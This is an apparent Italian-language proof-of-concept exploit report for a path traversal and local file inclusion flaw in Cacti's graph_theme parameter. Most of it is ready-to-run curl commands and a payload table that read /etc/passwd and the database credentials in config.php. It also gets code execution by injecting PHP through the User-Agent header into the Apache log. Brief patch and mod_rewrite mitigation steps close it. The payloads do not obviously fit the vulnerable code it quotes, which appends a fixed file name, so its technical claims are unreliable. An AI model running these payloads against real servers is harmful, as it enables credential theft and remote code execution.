
Exploit proof-of-concept per CVE-2026-39938: inclusione di file locale non autenticata in Cacti <= 1.2.30, che consente la lettura arbitraria di file e l'esecuzione remota di codice tramite avvelenamento dei log.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-39938 |
| Punteggio CVSS | 9.8 (Critico) |
| Prodotto interessato | Cacti |
| Versioni interessate | <= 1.2.30 |
| Versione corretta | 1.2.31 |
| Commit di correzione | 9871f0c |
La vulnerabilità esiste in lib/rrd.php dove il parametro graph_theme viene utilizzato direttamente senza sanificazione:
CODICE VULNERABILE:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
CODICE CORRETTO:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
Il problema: nessuna validazione contro sequenze di path traversal ../, permettendo agli attaccanti di leggere file arbitrari senza autenticazione.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
Risultato: Il contenuto di /etc/passwd verrà visualizzato nella risposta.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
Risultato: Le credenziali del database (username, password) verranno esposte.
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
Risultato: L'output del comando (es. uid=33(www-data)) verrà visualizzato.
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
Con Header: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
Report generato per scopi di ricerca sulla sicurezza Data: 27 giugno 2026
| Endpoint | Parametro | Esempio di Payload |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |